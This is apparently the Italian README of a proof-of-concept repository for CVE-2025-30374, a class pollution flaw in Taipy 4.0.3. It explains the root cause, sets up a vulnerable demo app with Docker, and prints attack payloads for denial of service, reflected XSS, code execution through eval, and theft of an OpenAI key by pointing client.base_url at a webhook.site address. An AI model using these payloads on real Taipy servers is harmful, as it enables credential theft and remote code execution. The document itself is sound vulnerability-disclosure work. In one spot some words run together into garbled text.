
Exploit PoC per CVE-2025-30374, un bug di class pollution in Taipy, che dimostrano RCE, XSS riflesso, DoS e divulgazione di credenziali OpenAI con script di riproduzione basati su Docker.
Una vulnerabilità di class pollution è stata identificata in Taipy v4.0.3 (l'ultima versione al momento della scoperta). Questa vulnerabilità consente ad attaccanti non autorizzati di sovrascrivere il contesto runtime lato server di Taipy, portando a conseguenze gravi come RCE, Reflected XSS, Denial of Service (DoS) e perdita di credenziali di autorizzazione sensibili (ad es. token OpenAI).
Contesto
La class pollution (analoga alla prototype pollution in JavaScript) è una vulnerabilità relativamente nuova in Python. Si verifica quando un attaccante riesce a sovrascrivere inaspettatamente le variabili globali di un modulo o gli attributi di determinate classi e funzioni in fase di esecuzione. Questo problema è classificato come CWE-915.
Per maggiori informazioni sulla class pollution, fare riferimento a:
[1] Class Pollution Wiki
[2] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Vulnerabilità di Class Pollution trovata in Taipy
La causa principale di questa vulnerabilità risiede nell'uso da parte di Taipy di una funzione set ricorsiva per aggiornare i valori delle variabili negli stati di Taipy. Sia il parametro che il parametro derivano da input lato client e mancano di una corretta validazione. Ciò consente a un attaccante di iniettare percorsi di attributi dannosi, come , per sovrascrivere il metodo di .
namevalue_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.setset_TaipyBaseLe seguenti funzioni vengono invocate in più route tramite _manage_message per aggiornare gli stati dal lato client:
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
if gui._is_broadcasting():
for scope in gui._get_all_data_scopes().values():
_attrsetter(scope, name, value)
else:
_attrsetter(gui._get_data_scope(), name, value)
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
var_name_split = attr_str.split(sep=".")
for i in range(len(var_name_split) - 1):
sub_name = var_name_split[i]
obj = getattr(obj, sub_name)
setattr(obj, var_name_split[-1], value)
Setup
Tutti i PoC di seguito hanno come target l'app di chat demo inclusa in questo repository (vedi app/), che è basata sulla demo ufficiale Taipy LLM Chat (https://github.com/Avaiga/demo-llm-chat) e fissa Taipy 4.0.3 (la versione al momento della scoperta). Crea ed esegui l'app con Docker:
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374 # served at http://127.0.0.1:5003
I PoC per DoS, XSS e RCE non necessitano di una chiave OpenAI valida. Per il PoC di perdita del token, avvia l'app con una chiave reale, così che la richiesta esfiltrata la trasporti:
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374
Quindi esegui lo script corrispondente dalla radice del repository (ad es. python poc-dos.py). Installa prima le dipendenze client con pip install "python-socketio[client]" requests.
Conseguenza 1: DoS
L'exploit completo si trova in: poc-dos.py
poc-dos.py sovrascrive il metodo set della classe condivisa _TaipyBase con un intero non chiamabile, usando una variabile holder vincolata come punto di ingresso:
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71
Poiché ogni value holder di Taipy (_TaipyData, _TaipyLov, _TaipyLovValue, ...) deriva da _TaipyBase, il server solleva quindi TypeError: 'int' object is not callable mentre (ri)valuta qualsiasi variabile vincolata. Questo colpisce ogni sessione, non solo quella dell'attaccante, e persiste fino al riavvio dell'app.
Conseguenza 2: Perdita del token OpenAI
L'exploit completo si trova in: poc-token-exfil.py
L'app demo mantiene un openai.Client in un globale di modulo (client) che viene vincolato nello stato di Taipy e usato come state.client.chat.completions.create(...). poc-token-exfil.py inquina client.base_url con un URL controllato dall'attaccante:
client.base_url = https://webhook.site/<your-uuid>
Ogni successiva richiesta chat, che trasporta l'header Authorization: Bearer <OPENAI_API_KEY> e l'intera conversazione, viene quindi reindirizzata al server controllato dall'attaccante, causando la perdita del token OpenAI.
Conseguenza 3: XSS

Nella seguente funzione, quando l'applicazione tenta di renderizzare il contenuto utente, se il renderer appropriato non viene trovato, ricade sul ritorno di type(content).__name__ come risposta HTML:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
'<div style="background:white;color:red;">'
+ (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
+ "</div>"
)
Tuttavia, l'attributo __name__ di un oggetto classe è impostabile tramite class pollution, ad es. tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__. Un attaccante può sovrascrivere questo attributo con un payload HTML o JavaScript dannoso.
L'exploit completo si trova in: poc-xss-no-dot.py (funziona con v4.0.3) e poc-xss.py (variante puntata "U", Taipy ≤ 4.0.2).
Conseguenza 4: RCE

Successivamente, mostriamo come arrivare a un attacco RCE.
La vulnerabilità di class pollution consente agli attaccanti di impostare attributi arbitrari su oggetti che compaiono nello stato della sessione, che di default non contiene molti oggetti sensibili. Tuttavia, abbiamo scoperto che la route Gui.on_action può essere sfruttata per invocare il gestore Gui.table_on_edit, che fa sì che nuovi oggetti dal modulo __main__ vengano vincolati nello stato della sessione. Nella riga seguente, una chiamata getattr sull'oggetto di stato attiva automaticamente l'operazione di binding, mentre un successivo setattr reimposta immediatamente il valore vincolato a None:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
Questo comportamento crea una breve finestra di race condition in cui i riferimenti a oggetti, come la classe Gui, esistono temporaneamente nello stato della sessione. Durante questa finestra, gli attaccanti possono sfruttare la class pollution per sovrascrivere attributi su quegli oggetti.
Abbiamo inoltre scoperto che l'attributo Gui.__SELF_VAR viene usato come prefisso quando si costruiscono espressioni passate alla funzione integrata eval() di Python:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
Sovrascrivendo il valore di __SELF_VAR tramite class pollution, un attaccante può controllare l'espressione valutata, portando in ultima analisi all'esecuzione di codice arbitrario sul server.
L'exploit completo si trova in: poc-rce-no-dot.py (funziona con v4.0.3) e poc-rce.py (variante puntata "U", Taipy ≤ 4.0.2). Entrambi legano l'oggetto Gui nello stato della sessione tramite la route on_action che chiama table_on_edit, quindi fanno gareggiare la scrittura di class pollution contro questa finestra, per cui potrebbero essere necessari diversi tentativi per riuscire.
Qualsiasi utente di Taipy può sfruttare questa vulnerabilità per lanciare RCE, Reflected XSS, Denial of Service (DoS) e la perdita di credenziali di autorizzazione sensibili (ad es. token OpenAI).